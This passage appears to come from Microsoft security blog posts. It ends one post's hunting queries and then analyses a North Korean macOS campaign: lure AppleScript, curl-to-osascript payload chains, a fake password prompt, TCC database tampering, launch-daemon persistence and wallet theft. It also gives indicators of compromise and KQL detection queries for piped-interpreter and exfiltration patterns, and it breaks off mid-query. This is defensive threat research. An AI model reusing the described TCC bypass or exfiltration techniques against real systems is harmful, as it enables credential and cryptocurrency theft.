| summarize make_set(ActionType) by IPAddress, AccountId, bin(Timestamp, 1d)

CloudAppEvents
| where Application == "Cisco Webex"
| where IsExternalUser
| where IPAddress == ""
| summarize make_set(ActionType) by IPAddress, AccountId, bin(Timestamp, 1d)

Hiring phase involving accessing and signing of agreements through DocuSign

CloudAppEvents
| where Application == "DocuSign"
| where IsExternalUser
| where ActionType == "ENVELOPE SIGNED"
| where IPAddress in ("") or AccountId == ""

New hire onboarding and payroll activities originating from known Jasper Sleet infrastructure

CloudAppEvents
| where Application == "Workday"
| where AccountId == ""
| where ActionType has_any ("Add", "Change", "Assign", "Create", "Modify") and ActionType has_any ("Account", "Bank", "Payment", "Tax")
| where IPAddress in ("")
| summarize make_set(ActionType) by IPAddress, bin(Timestamp, 1d)

References

• Jasper Sleet: North Korean remote IT workers’ evolving tactics to infiltrate organizations | Microsoft Security Blog
• AI as tradecraft: How threat actors operationalize AI | Microsoft Security Blog

This research is provided by Microsoft Defender Security Research with contributions from  members of Microsoft Threat Intelligence.

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

Review our documentation to learn more about our real-time protection capabilities and see how to enable them within your organization.   

• Learn more about securing Copilot Studio agents with Microsoft Defender  
• Evaluate your AI readiness with our latest Zero Trust for AI workshop.
• Learn more about Protect your agents in real-time during runtime (Preview)
• Explore how to build and customize agents with Copilot Studio Agent Builder 
• Microsoft 365 Copilot AI security documentation 
• How Microsoft discovers and mitigates evolving attacks against AI guardrails 

The post Detection strategies across cloud and identities against infiltrating IT workers appeared first on Microsoft Security Blog.

Executive summary

Microsoft Threat Intelligence uncovered a macOS‑focused cyber campaign by the North Korean threat actor Sapphire Sleet that relies on social engineering rather than software vulnerabilities. By impersonating a legitimate software update, threat actors tricked users into manually running malicious files, allowing them to steal passwords, cryptocurrency assets, and personal data while avoiding built‑in macOS security checks. This activity highlights how convincing user prompts and trusted system tools can be abused, and why awareness and layered security defenses remain critical.

Microsoft Threat Intelligence identified a campaign by North Korean state actor Sapphire Sleet demonstrating new combinations of macOS-focused execution patterns and techniques, enabling the threat actor to compromise systems through social engineering rather than software exploitation. In this campaign, Sapphire Sleet takes advantage of user‑initiated execution to establish persistence, harvest credentials, and exfiltrate sensitive data while operating outside traditional macOS security enforcement boundaries. While the techniques themselves are not novel, this analysis highlights execution patterns and combinations that Microsoft has not previously observed for this threat actor, including how Sapphire Sleet orchestrates these techniques together and uses AppleScript as a dedicated, late‑stage credential‑harvesting component integrated with decoy update workflows.

After discovering the threat, Microsoft shared details of this activity with Apple as part of our responsible disclosure process. Apple has since implemented updates to help detect and block infrastructure and malware associated with this campaign. We thank the Apple security team for their collaboration in addressing this activity and encourage macOS users to keep their devices up to date with the latest security protections.

This activity demonstrates how threat actors continue to rely on user interaction and trusted system utilities to bypass macOS platform security protections, rather than exploiting traditional software vulnerabilities. By persuading users to manually execute AppleScript or Terminal‑based commands, Sapphire Sleet shifts execution into a user‑initiated context, allowing the activity to proceed outside of macOS protections such as Transparency, Consent, and Control (TCC), Gatekeeper, quarantine enforcement, and notarization checks. Sapphire Sleet achieves a highly reliable infection chain that lowers operational friction and increases the likelihood of successful compromise—posing an elevated risk to organizations and individuals involved in cryptocurrency, digital assets, finance, and similar high‑value targets that Sapphire Sleet is known to target.

In this blog, we examine the macOS‑specific attack chain observed in recent Sapphire Sleet intrusions, from initial access using malicious .scpt files through multi-stage payload delivery, credential harvesting using fake system dialogs, manipulation of the macOS TCC database, persistence using launch daemons, and large-scale data exfiltration. We also provide actionable guidance, Microsoft Defender detections, hunting queries, and indicators of compromise (IOCs) to help defenders identify similar threats and strengthen macOS security posture.

Sapphire Sleet’s campaign lifecycle

Initial access and social engineering

Sapphire Sleet is a North Korean state actor active since at least March 2020 that primarily targets the finance sector, including cryptocurrency, venture capital, and blockchain organizations. The primary motivation of this actor is to steal cryptocurrency wallets to generate revenue, and target technology or intellectual property related to cryptocurrency trading and blockchain platforms.

Sapphire Sleet operates a well‑documented social engineering playbook in which the threat actor creates fake recruiter profiles on social media and professional networking platforms, engages targets in conversations about job opportunities, schedules a technical interview, and directs targets to install malicious software, which is typically disguised as a video conferencing tool or software developer kit (SDK) update.

In this observed activity, the target was directed to download a file called Zoom SDK Update.scpt—a compiled AppleScript that opens in macOS Script Editor by default. Script Editor is a trusted first-party Apple application capable of executing arbitrary shell commands using the do shell script AppleScript command.

Lure file and Script Editor execution

The malicious Zoom SDK Update.scpt file is crafted to appear as a legitimate Zoom SDK update when opened in the macOS Script Editor app, beginning with a large decoy comment block that mimics benign upgrade instructions and gives the impression of a routine software update. To conceal its true behavior, the script inserts thousands of blank lines immediately after this visible content, pushing the malicious logic far below the scrollable view of the Script Editor window and reducing the likelihood that a user will notice it.

Hidden beneath this decoy, the script first launches a harmless looking command that invokes the legitimate macOS softwareupdate binary with an invalid parameter, an action that performs no real update but launches a trusted Apple‑signed process to reinforce the appearance of legitimacy. Following this, the script executes its malicious payload by using curl to retrieve threat actor‑controlled content and immediately passes the returned data to osascript for execution using the run script result instruction. Because the content fetched by curl is itself a new AppleScript, it is launched directly within the Script Editor context, initiating a payload delivery in which additional stages are dynamically downloaded and executed.

Execution and payload delivery

Cascading curl-to-osascript execution

When the user opens the Zoom SDK Update.scpt file, macOS launches the file in Script Editor, allowing Sapphire Sleet to transition from a single lure file to a multi-stage, dynamically fetched payload chain. From this single process, the entire attack unfolds through a cascading chain of curl commands, each fetching and executing progressively more complex AppleScript payloads. Each stage uses a distinct user-agent string as a campaign tracking identifier.

The main payload fetched by the mac-cur1 user agent is the attack orchestrator. Once executed within the Script Editor, it performs immediate reconnaissance, then kicks off parallel operations using additional curl commands with different user-agent strings.

Note the URL path difference: mac-cur1 through mac-cur3 fetch from /version/ (AppleScript payloads piped directly to osascript for execution), while mac-cur4 and mac-cur5 fetch from /status/ (ZIP archives containing compiled macOS .app bundles).

The following table summarizes the curl chain used in this campaign.

Reconnaissance and C2 registration

After execution, the malware next identifies and registers the compromised device with Sapphire Sleet infrastructure. The malware starts by collecting basic system details such as the current user, host name, system time, and operating system install date. This information is used to uniquely identify the compromised device and track subsequent activity.

The malware then registers the compromised system with its command‑and‑control (C2) infrastructure. The mid value represents the device’s universally unique identifier (UUID), the did serves as a campaign‑level tracking identifier, and the user field combines the system host name with the device serial number to uniquely label the targeted user.

Host monitoring component: com.apple.cli

The first binary deployed is a host monitoring component called com.apple.cli—a ~5 MB Mach-O binary disguised with an Apple-style naming convention.

The mac-cur1 payload spawns an osascript that downloads and launches com.apple.cli:

The host monitoring component repeatedly executes a series of system commands to collect environment and runtime information, including the macOS version (sw_vers), the current system time (date -u), and the underlying hardware model (sysctl hw.model). It then runs ps aux in a tight loop to capture a full, real‑time list of running processes.

During execution, com.apple.cli performs host reconnaissance while maintaining repeated outbound connectivity to the threat actor‑controlled C2 endpoint 83.136.208[.]246:6783. The observed sequencing of reconnaissance activity and network communication is consistent with staging for later operational activity, including privilege escalation, and exfiltration.

In parallel with deploying com.apple.cli, the mac-cur1 orchestrator also deploys a second component, the services backdoor, as part of the same execution flow; its role in persistence and follow‑on activity is described later in this blog.

Credential access

Credential harvester: systemupdate.app

After performing reconnaissance, the mac-cur1 orchestrator begins parallel operations. During the mac‑cur2 stage of execution (independent from the mac-cur1 stage), Sapphire Sleet delivers an AppleScript payload that is executed through osascript. This stage is responsible for deploying the credential harvesting component of the attack.

Before proceeding, the script checks for the presence of a file named .zoom.log on the system. This file acts as an infection marker, allowing Sapphire Sleet to determine whether the device has already been compromised. If the marker exists, deployment is skipped to avoid redundant execution across sessions.

If the infection marker is not found, the script downloads a compressed archive through the mac-cur4 user agent that contains a malicious macOS application named (systemupdate.app), which masquerades as the legitimate system update utility by the same name. The archive is extracted to a temporary location, and the application is launched immediately.

When systemupdate.app launches, the user is presented with a native macOS password dialog that is visually indistinguishable from a legitimate system prompt. The dialog claims that the user’s password is required to complete a software update, prompting the user to enter their credentials.

After the user enters their password, the malware performs two sequential actions to ensure the credential is usable and immediately captured. First, the binary validates the entered password against the local macOS authentication database using directory services, confirming that the credential is correct and not mistyped. Once validation succeeds, the verified password is immediately exfiltrated to threat actor‑controlled infrastructure using the Telegram Bot API, delivering the stolen credential directly to Sapphire Sleet.

Decoy completion prompt: softwareupdate.app

After credential harvesting is completed using systemupdate.app, Sapphire Sleet deploys a second malicious application named softwareupdate.app, whose sole purpose is to reinforce the illusion of a legitimate update workflow. This application is delivered during a later stage of the attack using the mac‑cur5 user‑agent. Unlike systemupdate.app, softwareupdate.app does not attempt to collect credentials. Instead, it displays a convincing “system update complete” dialog to the user, signaling that the supposed Zoom SDK update has finished successfully. This final step closes the social engineering loop: the user initiated a Zoom‑themed update, was prompted to enter their password, and is now reassured that the process completed as expected, reducing the likelihood of suspicion or further investigation.

Persistence

Primary backdoor and persistence installer: services binary

The services backdoor is a key operational component in this attack, acting as the primary backdoor and persistence installer. It provides an interactive command execution channel, establishes persistence using a launch daemon, and deploys two additional backdoors. The services backdoor is deployed through a dedicated AppleScript executed as part of the initial mac‑cur1 payload that also deployed com.apple.cli, although the additional backdoors deployed by services are executed at a later stage.

During deployment, the services backdoor binary is first downloaded using a hidden file name (.services) to reduce visibility, then copied to its final location before the temporary file is removed. As part of installation, the malware creates a file named auth.db under ~/Library/Application Support/Authorization/, which stores the path to the deployed services backdoor and serves as a persistent installation marker. Any execution or runtime errors encountered during this process are written to /tmp/lg4err, leaving behind an additional forensic artifact that can aid post‑compromise investigation.

Unlike com.apple.cli, the services backdoor uses interactive zsh shells (/bin/zsh -i) to execute privileged operations. The -i flag creates an interactive terminal context, which is required for sudo commands that expect interactive input.

Additional backdoors: icloudz and com.google.chromes.updaters

Of the additional backdoors deployed by services, the icloudz backdoor is a renamed copy of the previously deployed services backdoor and shares the same SHA‑256 hash, indicating identical underlying code. Despite this, it is executed using a different and more evasive technique. Although icloudz shares the same binary as .services, it operates as a reflective code loader—it uses the macOS NSCreateObjectFileImageFromMemory API to load additional payloads received from its C2 infrastructure directly into memory, rather than writing them to disk and executing them conventionally.

The icloudz backdoor is stored at ~/Library/Application Support/iCloud/icloudz, a location and naming choice intended to resemble legitimate iCloud‑related artifacts. Once loaded into memory, two distinct execution waves are observed. Each wave independently initializes a consistent sequence of system commands: existing caffeinate processes are stopped, caffeinate is relaunched using nohup to prevent the system from sleeping, basic system information is collected using sw_vers and sysctl -n hw.model, and an interactive /bin/zsh -i shell is spawned. This repeated initialization suggests that the component is designed to re‑establish execution context reliably across runs.

From within the interactive zsh shell, icloudz deploys an additional (tertiary) backdoor, com.google.chromes.updaters, to disk at ~/Library/Google/com.google.chromes.updaters. The selected directory and file name closely resemble legitimate Google application data, helping the file blend into the user’s Home directory and reducing the likelihood of casual inspection. File permissions are adjusted; ownership is set to allow execution with elevated privileges, and the com.google.chromes.updaters binary is launched using sudo.

To ensure continued execution across reboots, a launch daemon configuration file named com.google.webkit.service.plist is installed under /Library/LaunchDaemons. This configuration causes icloudz to launch automatically at system startup, even if no user is signed in. The naming convention deliberately mimics legitimate Apple and Google system services, further reducing the chance of detection.

The com.google.chromes.updaters backdoor is the final and largest component deployed in this attack chain, with a size of approximately 7.2 MB. Once running, it establishes outbound communication with threat actor‑controlled infrastructure, connecting to the domain check02id[.]com over port 5202. The process then enters a precise 60‑second beaconing loop. During each cycle, it executes minimal commands such as whoami to confirm the execution context and sw_vers -productVersion to report the operating system version. This lightweight heartbeat confirms the process remains active, is running with elevated privileges, and is ready to receive further instructions.

Privilege escalation

TCC bypass: Granting AppleEvents permissions

Before large‑scale data access and exfiltration can proceed, Sapphire Sleet must bypass macOS TCC protections. TCC enforces user consent for sensitive inter‑process interactions, including AppleEvents, the mechanism required for osascript to communicate with Finder and perform file-level operations. The mac-cur3 stage silently grants itself these permissions by directly manipulating the user-level TCC database through the following sequence.

The user-level TCC database (~/Library/Application Support/com.apple.TCC/TCC.db) is itself TCC-protected—processes without Full Disk Access (FDA) cannot read or modify it. Sapphire Sleet circumvents this by directing Finder, which holds FDA by default on macOS,  to rename the com.apple.TCC folder. Once renamed, the TCC database file can be copied to a staging location by a process without FDA.

Sapphire Sleet then uses sqlite3 to inject a new entry into the database’s access table. This entry grants /usr/bin/osascript permission to send AppleEvents to com.apple.finder and includes valid code-signing requirement (csreq) blobs for both binaries, binding the grant to Apple-signed executables. The authorization value is set to allowed (auth_value=2) with a user-set reason (auth_reason=3), ensuring no user prompt is triggered. The modified database is then copied back into the renamed folder, and Finder restores the folder to its original name. Staging files are deleted to reduce forensic traces.

Collection and exfiltration

With TCC bypassed, credentials stolen, and backdoors deployed, Sapphire Sleet launches the next phase of attack: a 575-line AppleScript payload that systematically collects, stages, compresses, and exfiltrates seven categories of data.

Exfiltration architecture

Every upload follows a consistent pattern and is executed using nohup, which allows the command to continue running in the background even if the initiating process or Terminal session exits. This ensures that data exfiltration can complete reliably without requiring the threat actor to maintain an active session on the system.

The auth header provides the upload authorization token, and the mid header ties the upload to the compromised device’s UUID.

Data collected during exfiltration

• Host and system reconnaissance: Before bulk data collection begins, the script records basic system identity and hardware information. This includes the current username, system host name, macOS version, and CPU model. These values are appended to a per‑host log file and provide Sapphire Sleet with environmental context, hardware fingerprinting, and confirmation of the target system’s characteristics. This reconnaissance data is later uploaded to track progress and correlate subsequent exfiltration stages to a specific device.
• Installed applications and runtime verification: The script enumerates installed applications and shared directories to build an inventory of the system’s software environment. It also captures a live process listing filtered for threat actor‑deployed components, allowing Sapphire Sleet to verify that earlier payloads are still running as expected. These checks help confirm successful execution and persistence before proceeding further.
• Messaging session data (Telegram): Telegram Desktop session data is collected by copying the application’s data directories, including cryptographic key material and session mapping files. These artifacts are sufficient to recreate the user’s Telegram session on another system without requiring reauthentication. A second collection pass targets the Telegram App Group container to capture the complete local data set associated with the application.
• Browser data and extension storage: For Chromium‑based browsers, including Chrome, Brave, and Arc, the script copies browser profiles and associated databases. This includes saved credentials, cookies, autofill data, browsing history, bookmarks, and extension‑specific storage. Particular focus is placed on IndexedDB entries associated with cryptocurrency wallet extensions, where wallet keys and transaction data are stored. Only IndexedDB entries matching a targeted set of wallet extension identifiers are collected, reflecting a deliberate and selective approach.
• macOS keychain: The user’s sign-in keychain database is bundled alongside browser data. Although the keychain is encrypted, Sapphire Sleet has already captured the user’s password earlier in the attack chain, enabling offline decryption of stored secrets once exfiltrated.
• Cryptocurrency desktop wallets: The script copies the full application support directories for popular cryptocurrency desktop wallets, including Ledger Live and Exodus. These directories contain wallet configuration files and key material required to access stored cryptocurrency assets, making them high‑value targets for exfiltration.
• SSH keys and shell history: SSH key directories and shell history files are collected to enable potential lateral movement and intelligence gathering. SSH keys may provide access to additional systems, while shell history can reveal infrastructure details, previously accessed hosts, and operational habits of the targeted user.
• Apple Notes: The Apple Notes database is copied from its application container and staged for upload. Notes frequently contain sensitive information such as passwords, internal documentation, infrastructure details, or meeting notes, making them a valuable secondary data source.
• System logs and failed access attempts: System log files are uploaded directly without compression. These logs provide additional hardware and execution context and include progress markers that indicate which exfiltration stages have completed. Failed collection attempts—such as access to password manager containers that are not present on the system—are also recorded and uploaded, allowing Sapphire Sleet to understand which targets were unavailable on the compromised host.

Exfiltration summary

All uploads use the upload authorization token fwyan48umt1vimwqcqvhdd9u72a7qysi and the machine identifier 82cf5d92-87b5-4144-9a4e-6b58b714d599.

Defending against Sapphire Sleet intrusion activity

As part of a coordinated response to this activity, Apple has implemented platform-level protections to help detect and block infrastructure and malware associated with this campaign. Apple has deployed Apple Safe Browsing protections in Safari to detect and block malicious infrastructure associated with this campaign. Users browsing with Safari benefit from these protections by default. Apple has also deployed XProtect signatures to detect and block the malware families associated with this campaign—macOS devices receive these signature updates automatically.

Microsoft recommends the following mitigation steps to defend against this activity and reduce the impact of this threat:

• Educate users about social engineering threats originating from social media and external platforms, particularly unsolicited outreach requesting software downloads, virtual meeting tool installations, or execution of terminal commands. Users should never run scripts or commands shared through messages, calls, or chats without prior approval from their IT or security teams.
• Block or restrict the execution of .scpt (compiled AppleScript) files and unsigned Mach-O binaries downloaded from the internet. Where feasible, enforce policies that prevent osascript from executing scripts sourced from external locations.
• Always inspect and verify files downloaded from external sources, including compiled AppleScript (.scpt) files. These files can execute arbitrary shell commands via macOS Script Editor—a trusted first-party Apple application—making them an effective and stealthy initial access vector.
• Limit or audit the use of curl piped to interpreters (such as curl | osascript, curl | sh, curl | bash). Social engineering campaigns by Sapphire Sleet rely on cascading curl-to-interpreter chains to avoid writing payloads to disk. Organizations should monitor for and restrict piped execution patterns originating from non-standard user-agent strings.
• Exercise caution when copying and pasting sensitive data such as wallet addresses or credentials from the clipboard. Always verify that the pasted content matches the intended source to avoid falling victim to clipboard hijacking or data tampering attacks.
• Monitor for unauthorized modifications to the macOS TCC database. This campaign manipulates TCC.db to grant AppleEvents permissions to osascript without user consent—a prerequisite for the large-scale data exfiltration phase. Look for processes copying, modifying, or overwriting ~/Library/Application Support/com.apple.TCC/TCC.db.
• Audit LaunchDaemon and LaunchAgent installations. This campaign installs a persistent launch daemon (com.google.webkit.service.plist) that masquerades as a legitimate Google or Apple service. Monitor /Library/LaunchDaemons/ and ~/Library/LaunchAgents/ for unexpected plist files, particularly those with com.google.* or com.apple.* naming conventions not belonging to genuine vendor software.
• Protect cryptocurrency wallets and browser credential stores. This campaign targets nine specific crypto wallet extensions (Sui, Phantom, TronLink, Coinbase, OKX, Solflare, Rabby, Backpack) plus Bitwarden, and exfiltrates browser sign-in data, cookies, and keychain databases. Organizations handling digital assets should enforce hardware wallet policies and rotate browser-stored credentials regularly.
• Encourage users to use web browsers that support Microsoft Defender SmartScreen like Microsoft Edge—available on macOS and various platforms—which identifies and blocks malicious websites, including phishing sites, scam sites, and sites that contain exploits and host malware.

Microsoft Defender for Endpoint customers can also apply the following mitigations to reduce the environmental attack surface and mitigate the impact of this threat and its payloads:

• Use Microsoft Defender for Endpoint on Mac, which detects, stops, and quarantines the malware discussed in this blog.
• Turn on cloud-delivered protection and automatic sample submission on Microsoft Defender Antivirus. These capabilities use artificial intelligence and machine learning to quickly identify and stop new and unknown threats.
• Enable potentially unwanted application (PUA) protection in block mode to automatically quarantine PUAs like adware. PUA blocking takes effect on endpoint clients after the next signature update or computer restart.
• Turn on network protection to block connections to malicious domains and IP addresses.

Microsoft Defender detection and hunting guidance

Microsoft Defender customers can refer to the list of applicable detections below. Microsoft Defender coordinates detection, prevention, investigation, and response across endpoints, identities, email, apps to provide integrated protection against attacks like the threat discussed in this blog.

Microsoft Security Copilot

Microsoft Security Copilot is embedded in Microsoft Defender and provides security teams with AI-powered capabilities to summarize incidents, analyze files and scripts, summarize identities, use guided responses, and generate device summaries, hunting queries, and incident reports.

Customers can also deploy AI agents, including the following Microsoft Security Copilot agents, to perform security tasks efficiently:

• Threat Intelligence Briefing agent
• Phishing Triage agent
• Threat Hunting agent
• Dynamic Threat Detection agent

Security Copilot is also available as a standalone experience where customers can perform specific security-related tasks, such as incident investigation, user analysis, and vulnerability impact assessment. In addition, Security Copilot offers developer scenarios that allow customers to build, test, publish, and integrate AI agents and plugins to meet unique security needs.

Threat intelligence reports

Microsoft Defender XDR customers can use the following threat analytics reports in the Defender portal (requires license for at least one Defender XDR product) to get the most up-to-date information about the threat actor, malicious activity, and techniques discussed in this blog. These reports provide the intelligence, protection information, and recommended actions to prevent, mitigate, or respond to associated threats found in customer environments.

Microsoft Defender XDR threat analytics

• Actor Profile: Sapphire Sleet

Microsoft Security Copilot customers can also use the Microsoft Security Copilot integration in Microsoft Defender Threat Intelligence, either in the Security Copilot standalone portal or in the embedded experience in the Microsoft Defender portal to get more information about this threat actor.

Hunting queries

Microsoft Defender XDR

Microsoft Defender XDR customers can run the following advanced hunting queries to find related activity in their networks:

Suspicious osascript execution with curl piping

Search for curl commands piping output directly to osascript, a core technique in this Sapphire Sleet campaign’s cascading payload delivery chain.

DeviceProcessEvents
 | where Timestamp > ago(30d)
 | where FileName == "osascript" or InitiatingProcessFileName == "osascript"
 | where ProcessCommandLine has "curl" and ProcessCommandLine has_any ("osascript", "| sh", "| bash")
 | project Timestamp, DeviceId, DeviceName, AccountName, ProcessCommandLine, InitiatingProcessCommandLine, InitiatingProcessFileName

Suspicious curl activity with campaign user-agent strings

Search for curl commands using user-agent strings matching the Sapphire Sleet campaign tracking identifiers (mac-cur1 through mac-cur5, audio, beacon).

DeviceProcessEvents
 | where Timestamp > ago(30d)
 | where FileName == "curl" or ProcessCommandLine has "curl"
 | where ProcessCommandLine has_any ("mac-cur1", "mac-cur2", "mac-cur3", "mac-cur4", "mac-cur5", "-A audio", "-A beacon")
 | project Timestamp, DeviceId, DeviceName, AccountName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine

Detect connectivity with known C2 infrastructure

Search for network connections to the Sapphire Sleet C2 domains and IP addresses used in this campaign.

let c2_domains = dynamic(["uw04webzoom.us", "uw05webzoom.us", "uw03webzoom.us", "ur01webzoom.us", "uv01webzoom.us", "uv03webzoom.us", "uv04webzoom.us", "ux06webzoom.us", "check02id.com"]);
 let c2_ips = dynamic(["188.227.196.252", "83.136.208.246", "83.136.209.22", "83.136.208.48", "83.136.210.180", "104.145.210.107"]);
 DeviceNetworkEvents
 | where Timestamp > ago(30d)
 | where RemoteUrl has_any (c2_domains) or RemoteIP in (c2_ips)
 | project Timestamp, DeviceId, DeviceName, RemoteUrl, RemoteIP, RemotePort, InitiatingProcessFileName, InitiatingProcessCommandLine

TCC database manipulation detection

Search for processes that copy, modify, or overwrite the macOS TCC database, a key defense evasion technique used by this campaign to grant unauthorized AppleEvents permissions.

DeviceFileEvents
 | where Timestamp > ago(30d)
 | where FolderPath has "com.apple.TCC" and FileName == "TCC.db"
 | where ActionType in ("FileCreated", "FileModified", "FileRenamed")
 | project Timestamp, DeviceId, DeviceName, ActionType, FolderPath, InitiatingProcessFileName, InitiatingProcessCommandLine

Suspicious LaunchDaemon creation masquerading as legitimate services

Search for LaunchDaemon plist files created in /Library/LaunchDaemons that masquerade as Google or Apple services, matching the persistence technique used by the services/icloudz backdoor.

DeviceFileEvents
 | where Timestamp > ago(30d)
 | where FolderPath startswith "/Library/LaunchDaemons/"
 | where FileName startswith "com.google." or FileName startswith "com.apple."
 | where ActionType == "FileCreated"
 | project Timestamp, DeviceId, DeviceName, FileName, FolderPath, InitiatingProcessFileName, InitiatingProcessCommandLine, SHA256

Malicious binary execution from suspicious paths

Search for execution of binaries from paths commonly used by Sapphire Sleet, including hidden Library directories, /private/tmp/, and user-specific Application Support folders.

DeviceProcessEvents
 | where Timestamp > ago(30d)
 | where FolderPath has_any (
     "Library/Services/services",
     "Application Support/iCloud/icloudz",
     "Library/Google/com.google.chromes.updaters",
     "/private/tmp/SystemUpdate/",
     "/private/tmp/SoftwareUpdate/",
     "com.apple.cli"
 )
 | project Timestamp, DeviceId, DeviceName, FileName, FolderPath, ProcessCommandLine, AccountName, SHA256

Credential harvesting using dscl authentication check

Search for dscl -authonly commands used by the fake password dialog (systemupdate.app) to validate stolen credentials before exfiltration.

DeviceProcessEvents
 | where Timestamp > ago(30d)
 | where FileName == "dscl" or ProcessCommandLine has "dscl"
 | where ProcessCommandLine has "-authonly"
 | project Timestamp, DeviceId, DeviceName, AccountName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine

Telegram Bot API exfiltration detection

Search for network connections to Telegram Bot API endpoints, used by this campaign to exfiltrate stolen credentials.

DeviceNetworkEvents
 | where Timestamp > ago(30d)
 | where RemoteUrl has "api.telegram.org" and RemoteUrl has "/bot"
 | project Timestamp, DeviceId, DeviceName, RemoteUrl, RemoteIP, RemotePort, InitiatingProcessFileName, InitiatingProcessCommandLine

Reflective code loading using NSCreateObjectFileImageFromMemory

Search for evidence of reflective Mach-O loading, the technique used by the icloudz backdoor to execute code in memory.

DeviceEvents
 | where Timestamp > ago(30d)
 | where ActionType has "NSCreateObjectFileImageFromMemory"
     or AdditionalFields has "NSCreateObjectFileImageFromMemory"
 | project Timestamp, DeviceId, DeviceName, ActionType, FileName, FolderPath, InitiatingProcessFileName, AdditionalFields

Suspicious caffeinate and sleep prevention activity

Search for caffeinate process stop-and-restart patterns used by the services and icloudz backdoors to prevent the system from sleeping during backdoor operations.

DeviceProcessEvents
 | where Timestamp > ago(30d)
 | where ProcessCommandLine has "caffeinate"
 | where InitiatingProcessCommandLine has_any ("icloudz", "services", "chromes.updaters", "zsh -i")
 | project Timestamp, DeviceId, DeviceName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine

Detect known malicious file hashes

Search for the specific malicious file hashes associated with this Sapphire Sleet campaign across file events.

let malicious_hashes = dynamic([
     "2075fd1a1362d188290910a8c55cf30c11ed5955c04af410c481410f538da419",
     "05e1761b535537287e7b72d103a29c4453742725600f59a34a4831eafc0b8e53",
     "5fbbca2d72840feb86b6ef8a1abb4fe2f225d84228a714391673be2719c73ac7",
     "5e581f22f56883ee13358f73fabab00fcf9313a053210eb12ac18e66098346e5",
     "95e893e7cdde19d7d16ff5a5074d0b369abd31c1a30962656133caa8153e8d63",
     "8fd5b8db10458ace7e4ed335eb0c66527e1928ad87a3c688595804f72b205e8c",
     "a05400000843fbad6b28d2b76fc201c3d415a72d88d8dc548fafd8bae073c640"
 ]);
 DeviceFileEvents
 | where Timestamp > ago(30d)
 | where SHA256 in (malicious_hashes)
 | project Timestamp, DeviceId, DeviceName, FileName, FolderPath, SHA256, ActionType, InitiatingProcessFileName, InitiatingProcessCommandLine

Data staging and exfiltration activity

Search for ZIP archive creation in /tmp/ directories followed by curl uploads matching the staging-and-exfiltration pattern used for browser data, crypto wallets, Telegram sessions, SSH keys, and Apple Notes.

DeviceProcessEvents
 | where Timestamp > ago(30d)
 | where (ProcessCommandLine has "zip" and ProcessCommandLine has "/tmp/")
     or (ProcessCommandLine has "curl" and ProcessCommandLine has_any ("tapp_", "ext_", "ldg_", "exds_", "hs_", "nt_", "lg_"))
 | project Timestamp, DeviceId, DeviceName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine

Script Editor launching suspicious child processes

Search for Script Editor (the default handler for .scpt files) spawning curl, osascript, or shell commands—the initial execution vector in this campaign.

DeviceProcessEvents
 | where Timestamp > ago(30d)
 | where InitiatingProcessFileName == "Script Editor" or InitiatingProcessCommandLine has "Script Editor"
 | where FileName has_any ("curl", "osascript", "sh", "bash", "zsh")
 | project Timestamp, DeviceId, DeviceName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine

Microsoft Sentinel

Microsoft Sentinel customers can use the TI Mapping analytics (a series of analytics all prefixed with ‘TI map’) to automatically match the malicious domain indicators mentioned in this blog post with data in their workspace. If the TI Map analytics are not currently deployed, customers can install the Threat Intelligence solution from the Microsoft Sentinel Content Hub to have the analytics rule deployed in their Sentinel workspace.

Detect network indicators of compromise

The following query checks for connections to the Sapphire Sleet C2 domains and IP addresses across network session data:

let lookback = 30d;
 let ioc_domains = dynamic(["uw04webzoom.us", "uw05webzoom.us", "uw03webzoom.us", "ur01webzoom.us", "uv01webzoom.us", "uv03webzoom.us", "uv04webzoom.us", "ux06webzoom.us", "check02id.com"]);
 let ioc_ips = dynamic(["188.227.196.252", "83.136.208.246", "83.136.209.22", "83.136.208.48", "83.136.210.180", "104.145.210.107"]);
 DeviceNetworkEvents
 | where TimeGenerated > ago(lookback)
 | where RemoteUrl has_any (ioc_domains) or RemoteIP in (ioc_ips)
 | summarize EventCount=count() by DeviceName, RemoteUrl, RemoteIP, RemotePort, InitiatingProcessFileName

Detect file hash indicators of compromise

The following query searches for the known malicious file hashes associated with this campaign across file, process, and security event data:

let selectedTimestamp = datetime(2026-01-01T00:00:00.0000000Z);
 let FileSHA256 = dynamic([
     "2075fd1a1362d188290910a8c55cf30c11ed5955c04af410c481410f538da419",
     "05e1761b535537287e7b72d103a29c4453742725600f59a34a4831eafc0b8e53",
     "5fbbca2d72840feb86b6ef8a1abb4fe2f225d84228a714391673be2719c73ac7",
     "5e581f22f56883ee13358f73fabab00fcf9313a053210eb12ac18e66098346e5",
     "95e893e7cdde19d7d16ff5a5074d0b369abd31c1a30962656133caa8153e8d63",
     "8fd5b8db10458ace7e4ed335eb0c66527e1928ad87a3c688595804f72b205e8c",
     "a05400000843fbad6b28d2b76fc201c3d415a72d88d8dc548fafd8bae073c640"
 ]);
 search in (AlertEvidence, DeviceEvents, DeviceFileEvents, DeviceImageLoadEvents, DeviceProcessEvents, DeviceNetworkEvents, SecurityEvent, ThreatIntelligenceIndicator)
 TimeGenerated between ((selectedTimestamp - 1m) .. (selectedTimestamp + 90d))
 and (SHA256 in (FileSHA256) or InitiatingProcessSHA256 in (FileSHA256))

Detect Microsoft Defender Antivirus detections related to Sapphire Sleet

The following query searches for Defender Antivirus alerts for the specific malware families used in this campaign and joins with device information for enriched context:

let SapphireSleet_threats = dynamic([
     "Trojan:MacOS/NukeSped.D",
     "Trojan:MacOS/PassStealer.D",
     "Trojan:MacOS/SuspMalScript.C",
     "Trojan:MacOS/SuspInfostealExec.C"
 ]);
 SecurityAlert
 | where ProviderName == "MDATP"
 | extend ThreatName = tostring(parse_json(ExtendedProperties).ThreatName)
 | extend ThreatFamilyName = tostring(parse_json(ExtendedProperties).ThreatFamilyName)
 | where ThreatName in~ (SapphireSleet_threats) or ThreatFamilyName in~ (SapphireSleet_threats)
 | extend CompromisedEntity = tolower(CompromisedEntity)
 | join kind=inner (
     DeviceInfo
     | extend DeviceName = tolower(DeviceName)
